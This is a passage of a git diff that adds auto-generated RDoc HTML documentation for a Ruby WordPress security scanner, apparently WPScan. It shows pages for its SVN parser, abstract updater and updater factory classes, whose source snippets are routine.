+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Svn_Parser</h1>
+
+    <div id="description" class="description">
+      
+<p>This Class Parses SVN Repositories via HTTP</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="keep_empty_dirs-attribute-method" class="method-detail">
+          <a name="keep_empty_dirs"></a>
+          
+          <a name="keep_empty_dirs="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">keep_empty_dirs</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="svn_root-attribute-method" class="method-detail">
+          <a name="svn_root"></a>
+          
+          <a name="svn_root="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">svn_root</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="verbose-attribute-method" class="method-detail">
+          <a name="verbose"></a>
+          
+          <a name="verbose="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">verbose</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(svn_root, verbose, keep_empty_dirs = false)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/parse_svn.rb, line 26</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">svn_root</span>, <span class="ruby-identifier">verbose</span>, <span class="ruby-identifier">keep_empty_dirs</span> = <span class="ruby-keyword">false</span>)
+  <span class="ruby-ivar">@svn_root</span>         = <span class="ruby-identifier">svn_root</span>
+  <span class="ruby-ivar">@verbose</span>          = <span class="ruby-identifier">verbose</span>
+  <span class="ruby-ivar">@keep_empty_dirs</span>  = <span class="ruby-identifier">keep_empty_dirs</span>
+  <span class="ruby-ivar">@svn_browser</span>      = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>
+  <span class="ruby-ivar">@svn_hydra</span>        = <span class="ruby-ivar">@svn_browser</span>.<span class="ruby-identifier">hydra</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="parse-method" class="method-detail ">
+          <a name="method-i-parse"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">parse</span><span
+              class="method-args">(dirs=nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="parse-source">
+<pre>
+<span class="ruby-comment"># File lib/wpstools/parse_svn.rb, line 34</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">parse</span>(<span class="ruby-identifier">dirs</span>=<span class="ruby-keyword">nil</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">dirs</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+    <span class="ruby-identifier">dirs</span> = <span class="ruby-identifier">get_root_directories</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">urls</span> = <span class="ruby-identifier">get_svn_project_urls</span>(<span class="ruby-identifier">dirs</span>)
+  <span class="ruby-identifier">get_svn_file_entries</span>(<span class="ruby-identifier">urls</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- parse-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- parse-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Updater.html b/doc/Updater.html
new file mode 100644
index 00000000..590e8588
--- /dev/null
+++ b/doc/Updater.html
@@ -0,0 +1,438 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Updater</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/updater/updater_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/updater/updater.rb">lib/updater/updater.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-is_installed-3F">#is_installed?</a></li>
+          
+          <li><a href="#method-i-local_revision_number">#local_revision_number</a></li>
+          
+          <li><a href="#method-i-raise_must_be_implemented">#raise_must_be_implemented</a></li>
+          
+          <li><a href="#method-i-update">#update</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Updater</h1>
+
+    <div id="description" class="description">
+      
+<p>This class act as an absract one</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="repo_directory-attribute-method" class="method-detail">
+          <a name="repo_directory"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">repo_directory</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(repo_directory = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>TODO : add a last ‘/ to <a
+href="Updater.html#attribute-i-repo_directory">repo_directory</a> if it’s
+not present</p>
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater.rb, line 25</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">repo_directory</span> = <span class="ruby-keyword">nil</span>)
+  <span class="ruby-ivar">@repo_directory</span> = <span class="ruby-identifier">repo_directory</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="is_installed-3F-method" class="method-detail ">
+          <a name="method-i-is_installed-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_installed?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="is_installed-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater.rb, line 29</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_installed?</span>
+  <span class="ruby-identifier">raise_must_be_implemented</span>()
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_installed-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_installed-3F-method -->
+
+      
+        <div id="local_revision_number-method" class="method-detail ">
+          <a name="method-i-local_revision_number"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">local_revision_number</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="local_revision_number-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater.rb, line 33</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">local_revision_number</span>
+  <span class="ruby-identifier">raise_must_be_implemented</span>()
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- local_revision_number-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- local_revision_number-method -->
+
+      
+        <div id="update-method" class="method-detail ">
+          <a name="method-i-update"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">update</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="update-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater.rb, line 37</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">update</span>
+  <span class="ruby-identifier">raise_must_be_implemented</span>()
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- update-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- update-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+      <div id="protected-instance-method-details" class="method-section section">
+        <h3 class="section-header">Protected Instance Methods</h3>
+
+      
+        <div id="raise_must_be_implemented-method" class="method-detail ">
+          <a name="method-i-raise_must_be_implemented"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">raise_must_be_implemented</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="raise_must_be_implemented-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater.rb, line 43</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">raise_must_be_implemented</span>
+  <span class="ruby-identifier">raise</span> <span class="ruby-string">&quot;The method must be implemented&quot;</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- raise_must_be_implemented-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- raise_must_be_implemented-method -->
+
+      
+      </div><!-- protected-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/UpdaterFactory.html b/doc/UpdaterFactory.html
new file mode 100644
index 00000000..c1759ba1
--- /dev/null
+++ b/doc/UpdaterFactory.html
@@ -0,0 +1,308 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: UpdaterFactory</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/updater/updater_factory_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/updater/updater_factory.rb">lib/updater/updater_factory.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-available_updaters_classes">::available_updaters_classes</a></li>
+          
+          <li><a href="#method-c-get_updater">::get_updater</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">UpdaterFactory</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="get_updater-method" class="method-detail ">
+          <a name="method-c-get_updater"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_updater</span><span
+              class="method-args">(repo_directory)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get_updater-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater_factory.rb, line 21</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">get_updater</span>(<span class="ruby-identifier">repo_directory</span>)
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">available_updaters_classes</span>().<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">updater_symbol</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">updater</span> = <span class="ruby-constant">Object</span>.<span class="ruby-identifier">const_get</span>(<span class="ruby-identifier">updater_symbol</span>).<span class="ruby-identifier">new</span>(<span class="ruby-identifier">repo_directory</span>)
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">updater</span>.<span class="ruby-identifier">is_installed?</span>
+      <span class="ruby-keyword">return</span> <span class="ruby-identifier">updater</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">nil</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_updater-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_updater-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="protected-class-method-details" class="method-section section">
+        <h3 class="section-header">Protected Class Methods</h3>
+
+      
+        <div id="available_updaters_classes-method" class="method-detail ">
+          <a name="method-c-available_updaters_classes"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">available_updaters_classes</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return array of class symbols</p>
+            
+
+            
+            <div class="method-source-code" id="available_updaters_classes-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/updater_factory.rb, line 35</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">available_updaters_classes</span>
+  <span class="ruby-constant">Object</span>.<span class="ruby-identifier">constants</span>.<span class="ruby-identifier">grep</span>(<span class="ruby-regexp">/^.+Updater$/</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- available_updaters_classes-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- available_updaters_classes-method -->
+
+      
+      </div><!-- protected-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Vulnerable.html b/doc/Vulnerable.html
new file mode 100644
index 00000000..4277cbe9
--- /dev/null
+++ b/doc/Vulnerable.html
@@ -0,0 +1,311 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Vulnerable</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/vulnerable_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/vulnerable.rb">lib/wpscan/vulnerable.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-vulnerabilities">#vulnerabilities</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
